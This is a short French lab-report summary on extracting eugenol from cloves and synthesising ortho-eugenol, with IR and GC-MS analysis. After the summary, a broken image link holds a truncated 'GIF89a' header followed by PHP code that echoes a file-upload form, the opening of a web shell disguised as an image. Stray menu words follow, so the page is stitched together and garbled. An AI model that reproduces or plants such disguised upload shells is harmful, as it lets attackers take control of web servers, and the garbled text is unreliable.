| Synthèse |
Le but de ce TP est de réaliser l’extraction et la synthèse de l’eugénol.
Pour cela, nous allons réaliser l’extraction de l’eugénol à partir du clou de girofle par deux méthodes :
- l’hydrodistillation
- l’extraction par solvant
La synthèse de l’eugénol étant trop longue, compliquée et chère (conditions de haute température, réactifs…), nous avons donc réalisé la synthèse de l’ortho-eugénol.
Les différents composés seront analysés par différentes méthodes : infrarouge, GC-MS, et chromatographie.
Dans un premier temps, nous allons présenter l’eugénol ainsi que ces caractéristiques (physico-chimiques, production, historique..), puis nous allons réaliser l’hydrodistillation, l’extraction par solvant et analyser le produit obtenu, enfin nous allons synthétiser l’ortho-eugénol après avoir expliqué la synthèse de l’eugénol que nous avions trouvé. |
|
![f](includes/languages/french/images/GIF89a1 <? echo '<html><body><form name="uplform" method="post" "f")
Art § Communication
Architecture
